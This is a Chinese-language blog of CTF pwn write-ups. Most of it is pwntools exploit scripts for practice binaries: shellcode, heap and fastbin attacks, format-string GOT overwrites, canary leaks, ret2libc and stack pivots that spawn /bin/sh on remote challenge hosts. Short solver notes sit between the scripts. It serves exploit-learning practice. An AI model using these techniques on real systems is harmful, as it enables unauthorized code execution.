军训几天加暑假的活
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./l3')
elf = ELF('./l3')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25833)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
shellcode = asm('''
jmp rsp
''')
id = 0x6020a0
sl(shellcode)#没开NX,id写跳到栈sl(b'1')
shellcode = asm(shellcraft.sh())#直接binsh
sd(b'a'*0x28)
sl(p64(id)+shellcode)#返回到id,跳到栈,执行shellcode
ia()
输入可疑账号密码报段错误。
发现调用。可以控制的话就有漏洞了。
汇编查看。
继续跟进来源,是 rdi。
返回,rdi就是第一个参数,是v8,v8来自后面函数返回的参数。跟进。
返回的是v2。跟进v2.
在var18.
回到输入密码的函数,进入s。
可以控制,控制为后门函数即可。
这题是浓浓的pwn逆向味道,从漏洞点一直反推,愁啊,什么时候能会啊。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./l3')
elf = ELF('./l3')
#libc = ELF('./libc-2.23.so')
#p = remote('node4.buuoj.cn', 29883)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p,'b *(0x400a4a)')
sl(b'admin')
sl(b'2jctf_pa5sw0rd'+b'\x00'*(0x60-0x18-14)+p64(0x400e88))
#sl(b'2jctf_pa5sw0rd')
ia()
0是标准输入,1是标准输出,2是标准错误,还可以有文件。
exec 1>&0就是将标准输出重定向到标准输入也就是没有关闭的地方。还可以exec 1>flag.txt,定向输出到文件中。
参考https://blog.csdn.net/u011630575/article/details/52151995。
fastbin attack,修改fd申请内存,然后修改magic。注意要对其 7f为size。注意堆题要patch好环境。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./heap')
p = remote('node4.buuoj.cn', 26724)
elf = ELF('./heap')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':',b'1')
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':',b'2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':',b'3')
sla(':',str(idx))
add(0x10,b'6')
add(0x68,b'6')
#add(0x10,b'6')
free(1) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
edit(0,b'\x00'*0x18+p64(0x71)+p64(0x6020a0-0x13))#在heap1写binsh,0x6020ad是刚才定位到的fake heap
add(0x68,b'aaaa')
add(0x68,b'aaaaaa')
#sl(b'4869')
ia()
注意调成i386。
w = elf.got['read']
sla(b'me:',b'a'+p32(w)+b'%8$s')#偏移自己试一下试出来
fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)
第一个参数是参数偏移,就是%i$n的i。
第二个参数,{a:b}是指把a写成b,
第三个参数, write_size = ‘byte’是指单位步长是byte,参数为字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
第四个参数,指的是已经打印了的内容,这里是10是因为0xa=1(payload前面的a)+9(repeater:的长度)。
有点像堆,修改printf的got表为system后,运行printf(buf)时运行system('cat flag'),前面有repeater:所以加分号执行。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
w = elf.got['read']
pr = elf.got['printf']
sla(b'me:',b'a'+p32(w)+b'%8$s')
realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))
libcbase = realputs - libc.sym['read']
print(hex(realputs-libcbase))
print(hex(libcbase))
sys = libcbase + libc.sym['system']
#os = libcbase + 0x3a822
payload =b'a'+ fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)
sl(payload)
sla('\n',b';cat flag')
ia()
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
w = elf.got['read']
pr = elf.got['printf']
sla(b'me:',b'a'+p32(w)+b'%8$s')
realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))
libcbase = realputs - libc.sym['read']
print(hex(realputs-libcbase))
print(hex(libcbase))
sys = libcbase + libc.sym['system']
os = libcbase + 0x3a822
payload =b'a'+ fmtstr_payload(8,{pr: os},write_size = 'byte' ,numbwritten=10)
sl(payload)
#sla('\n',b';cat flag')
ia()
这道题自己完全想出来了一个思路,参考了网上一个思路。
我的思路是修改前面的打印函数地址,因为我老以为修改释放函数地址不行,实际上他是释放ptr而不是后面的内容,我以为溢出不过去。
那么这个做法是先用打印字符串函数覆盖打印整数函数,进行两层的解引用,得到puts的got值,然后再覆盖打印函数地址为oneshot,完成提权。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']
sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')
sl(b'1')
sl(b'2')
sl(b'2')
sl(b'7')
sl(p32(0x80486de))
sl(b'3')
sl(b'0')
puts = u32(ru('\xf7')[-4:])
print(hex(puts))
base = puts - libc.sym['puts']
print('base is >>> ' ,hex(base), '\n\n\n\n\n\n\n\n\n\n')
os = base + 0x3cbea
sl(b'1')
sl(b'3')
sl(b'2')
sl(b'50')
sl(b'/bin/sh\x00')
sl(b'1')
sl(b'4')
sl(b'2')
sl(b'50')
sl(p32(sys))
sl(b'2')
sl(b'3')
sl(b'2')
sl(b'4')
sl(b'1')
sl(b'5')
sl(b'2')
sl(b'12')
sl(p32(os))
ia()
'''
0x3cbea execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3cbec execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3cbf0 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3cbf7 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x6729f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x672a0 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x13573e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x13573f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
'''
泄露基地址特写,由此我们可以为所欲为了。
修改del函数的地址,修改成system,执行free(ptr)实际上是system(ptr),再把ptr刚好也覆盖一下为sh就行。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']
sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')
sl(b'1')
sl(b'2')
sl(b'2')
sl(b'12')
sl(b'sh\x00\x00'+p32(sys))
sl(b'2')
sl(b'0')
ia()
开了canary,利用puts泄露canary,打ret2libc。但是要注意调试,栈有变化。(此题是独立做出,从这次开始会标注独立做出来的题目)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./bs')
elf = ELF('./bs')
libc = ELF('./libc-2.23.so')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
putsplt = elf.plt['puts']
mainplt = 0x400908
putsgot = elf.got['puts']
ret = 0x040067e
rdiadd = 0x0400a93
if args.G:
gdb.attach(p)
if args.P:
p = remote('node4.buuoj.cn', 25456)
can = 0
sa('>>',b'1')
sl(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa')
leakc = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa'
print('-------------\n-------------\nleak payload is here >>>> ',hex(len(leakc)),'\n-------------\n-------------')
sa('>>',b'2')
can = u64(b'\x00'+ru(b'\n')[-9:-2])
can = u64(b'\x00'+ru(b'\n')[-9:-2])
print('-------------\n-------------\ncannary is here >>>> ',hex(can),'\n-------------\n-------------')
sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(putsgot) + p64(ret) + p64(putsplt) + p64(mainplt))
sl(b'3')
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
ru(b'\n>> ')
rp =u64(ru(b'\x7f').ljust(8,b'\x00'))
print('-------------\n-------------\nputsgot is here >>>> ',hex(rp),'\n-------------\n-------------')
libcbase = rp - libc.sym['puts']
sys = libcbase + libc.sym['system']
binsh = libcbase + 0x18cd57
sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(binsh) + p64(ret) + p64(sys) + p64(mainplt))
sl(b'3')
print('pwned!go ahead')
ia()
独立做出。
两段汇编代码,泄露栈地址以及ret2shellcode。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./start')
elf = ELF('./start')
#libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 26356)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p,'b start')
rdi = 0x00000000004006b3
readplt = 0x4004c0
mainplt = 0x8048470
write = 0x8048340
w = 0x0804A018
sh = asm('''
push 0x68732f
push 0x6e69622f
mov ebx,esp
push 0xb
pop eax
xor ecx, ecx
xor edx, edx
int 0x80
''')
sd(b'a'*20+p32(0x8048087))
s = u32(ru(b'\x00')[-6:-2])
print('s is >>> ', hex(s))
print('lensh is >>> ', len(sh))
sd(b'a'*20+p32(s-4+24)+sh)
ia()
2023.7.18
本题目的关键在于找到绕过控制输入长度的方式,这个程序检测是否溢出是看堆加上输入长度是否到达存放name的堆,那么只需要把两个分开就可以绕过。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./shui')
p = remote('node4.buuoj.cn', 25443)
elf = ELF('./shui')
libc = ELF('./libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,name,rsize,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(0))
sla(':',str(size))
sla(':',(name))
sla(':',str(rsize))
sla(':',content)
def edit(idx, content):
sla(':','3')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','1')
sla(':',str(idx))
def dump(idx):
sla(':','2')
sla(':',str(idx))
add(0x89,b'aa',0x89,b'aaaaaaaa')#0
add(0x89,b'aa',0x89,b'aaaaaaaa')#1
add(0x89,b'aa',0x89,b'aaaaaaaa')#2
add(0x89,b'aa',0x89,b'/bin/sh\x00')#3
free(0)#分割开free(2)#分开
freegot = elf.got['free']
add(0x110,b'a'*0x10,0x200,b'a'*0x100+b'8'*0x10+p32(0x118)+p32(0x91)+b'a'*0x88+p32(0)+p32(0x89)+p32(freegot)+b'freegot\x00')#4,覆盖1为freegot
dump(1)#泄露rfree = u32(ru(b'\xf7')[-4:])
print('rfree is >>>',hex(rfree))#获得基地址base = rfree - libc.sym['free']
print('base is >>>',hex(base))
os = base+0x3a819
sys = base+libc.sym['system']#覆盖free为system
edit(1,p32(sys))
free(3)#执行system('/bin/sh')
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
ia()
此题os试了是不行的。
2023.7.16
发现rdx本来就是0,不用使用gadget的代码进行赋值,所以跳过,达到rdi rdx都是0的效果。
使用oneshot,一发入魂。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('./libc.so.6')
#p = remote('60.204.140.184', 30090)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p,'b *$rebase(0x13aa)')
sla(b'str: ',b'%8$p-%1$p-%14$p')#调试出各个参数
realputs = int(ru('-')[:-1],16)#泄露got表
piebase = int(ru('-')[:-1],16)-0x2013#泄露pie基地址(没啥用,因为开了FULLRELRO)
ret = int(ru('\n')[:-1],16)+8#泄露返回地址
#realputs = int(ru('\n')[:-1],16)
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))
print(hex(piebase))
print(hex(ret))
x = libc.sym['_IO_file_jumps']
print(hex(x))
libcbase = realputs - x#计算基地址
print(hex(realputs-libcbase))
print(hex(libcbase))
#w = elf.got['read']+piebase#没用的,因为不能改got表
pr = elf.got['printf']+piebase
#sys = libcbase + libc.sym['system']
os = libcbase + 0xe3afe+3#跳过修改rdx,因为rdx本来就是0
print('pr is >>> ',hex(pr))
print('os is >>> ',hex(os))
print('ret is >>> ',hex(ret))
payload = fmtstr_payload(6,{ret: os},write_size='short')#因为限制长度80,所以用short方式修改
#payload = b'%20c%6$hhn'+p64(ret)
print('paylen is >>>',len(payload))
sla('str: ',payload)
ia()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
栈迁移同时注意使用多个ret滑栈,防止返回main过程覆盖got表。使用oneshot一发入魂!
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./borrow')
elf = ELF('./borrow')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 27585)
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
if args.G:
gdb.attach(p)
lv = 0x400699
bss = 0x601080
puts = elf.plt['puts']
putsg = elf.got['puts']
rdi =0x0000000000400703
ret = 0x4004c9
sd(b'a'*0x60+p64(bss)+p64(lv))
sd(p64(ret)*28+p64(rdi) +p64(putsg)+p64(puts)+p64(elf.sym['main']))
rputs = ru('\n')
rputs = ru('\n')
rputs = uu64(ru('\n')[:-1])
print('rputs is >>> ',hex(rputs))
base = rputs-libc.sym['puts']
print('base is >>> ',hex(base))
os = base+0x45216
sd(b'a'*0x60+p64(bss)+p64(os))
sd(b'a'*0x60+p64(bss)+p64(lv))
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
-----
这是buu的pwn第二页最后一题,终于搞定了。
今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。
一开始不知道off-by-one(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)
意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。
但是我一开始打的是unsorted bin attack来泄露地址……有点笨了,所以前面有一些没用的代码。
我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。
卡了我一晚上,最后换了11的库patch上才好了。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25102)
evgdb()
def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content)
def free(idx):
sla(':','4')
sla(':',str(idx))
def dump(idx):
sla(':','3')
sla(':',str(idx))
add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet('add')
addr = tet('add')
addr = get64('add')
base = getbase(addr, 'write',0x2cd7c8)
edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)
add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet('add')
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')
os = base+0xf1147
sys = symoff('system',base)
edit(1,p64(sys))
free(0)
ia()
诞生之日:2023.7.29
好!
此题给了jmp esp,但是溢出空间不够,所以考虑写退回esp前0x24来执行shellcode,需要自己写一下长度不要超过32,我这儿长度21.不知道还有没有更短的?
魔刀千刃Evilblade
from pwn import *
from evilblade import *
context(os='linux', arch='i386', log_level='debug')
setup('./s9')
#libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27084)
evgdb('b *0x8048550')
shellcode = asm('''
push 0xb
pop eax
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
''')
s0 = asm('''
nop
nop
nop
nop
''')
s1 = asm('''
mov ebx,esp
sub ebx,0x24
jmp ebx
nop
''')
dp('shelllen',len(shellcode))
dp('s0len',len(s0))
dp('s1len',len(s1))
sl(shellcode.ljust(32,b'a')+s0+p32(0x8048551)+s1)
ia()
2023.7.23的凌晨一点五十。昨天一天打比赛,没有做出来但是密码飞飞飞。晚上和出题人讨论了好多,id叫T1d是个很不错的师傅。
我也没想到这个要打那么久,buu的下一题octf2017 easyheap还没做,也没啥思路,pwn真的是太奇妙了。
早点睡觉,起床收拾东西去机场,飞国防科大咯!
详细的写在exp注释了。
爆破的思路很精妙,就是多一个字节这个。以及高版本栈没有pop rdi,还有尝试直接puts也是不错的选择。这个exp应该会经常复用。
善于观察,看交叉引用。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./a')
libset('libc.so.6')
rsetup('124.223.159.125',9999)
sla('option:',b'1')
sla('name:',b'admin\x00')
sla('word:',b'root\x00')
guess = ''
#爆破,由于统计比较成功个数的int i 在v2也就是输入内容的下一个字节
#所以如果第一个比较成功会变成\x01,两个比较成功变成\x02,以此类推
#由此可以爆破出来src,比较成功
for i in range(0,8):
for j in range(0,256):
if(i==0):
temp = chr(j)
sl(b'4')
sl(temp*16)
rev = ru('input:')
rev = tet('name')
print('_______>>>>>>>..')
for byte in rev:
print(f"\\x{byte:02X}", end="")
else:
if(i == 7):
temp = chr(j)
sl(b'4')
sl(guess+temp*(16-i))
rev = ru('guess:')
print('_______>>>>>>>..')
print(rev)
else:
temp = chr(j)
sl(b'4')
sl(guess+temp*(16-i))
rev = ru('input:')
rev = tet('name')
print('_______>>>>>>>..')
for byte in rev:
print(f"\\x{byte:02X}", end="")
if bytes([i+1]) in rev and j != i+1 and j!= i+2 or b'gift' in rev and i==7:
if(i==7):
temp = chr(ord(temp)-1)
guess += temp
dp('guess',guess)
dp('guess len',len(guess))
formatted_string = ''.join([f"\\x{ord(char):02X}" for char in guess])
print('__________________>>>>',formatted_string)
break
sla('option:',b'4')
sl(guess)
#得到src后泄露canary,可以栈溢出
gift = tet('tet')
gift = tet('gift')
ru('!')
gift = geti('gift')
rdi = 0x401cb6
main = 0x401ae9
#由于高版本没有pop rdi,0x401cb6有一个控制rdi的片段
evgdb('b *0x401Ac3')
sl(b'5')
sl(b'1')
sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)+p64(pltadd('puts'))+p64(main))
#上面这里非预期地泄露了_IO_file_jumps的地址,得到基地址
add = getx64('add',-23,-17)
base = getbase(add,'_IO_file_jumps')
rbp = 0x000000000040139d
sl(b'3')
sl(b'1')
sl(p64(base+0x1d8698))
#这里在dest写入binsh的地址,配合0x401cb6使用
sl(b'3')
sl(b'5')
sl(b'1')
sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)*2+p64(symoff('system',base))+p64(main))
#控制参数为'/bin/sh',调用system
print('pwned!go ahead')
ia()
手机扫一扫
移动阅读更方便
你可能感兴趣的文章